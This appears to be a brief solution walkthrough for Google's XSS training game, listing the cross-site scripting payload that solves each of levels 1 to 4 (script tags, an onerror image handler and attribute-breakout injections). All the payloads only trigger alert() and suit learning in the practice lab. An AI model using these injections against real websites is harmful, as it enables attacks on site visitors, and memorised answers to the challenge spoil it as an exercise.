google xss game tutorial

//Level 1: Hello, world of XSS
//inside the input enter 
<script>alert()</script>

//Level 2: Persistence is key
//inside the comment box
<img src='x' onerror='alert()'>

//Level 3: That sinking Feeling…
//inside the address bar
1' onerror='alert();//

//Level 4: Context matters
//inside input
3'**alert());//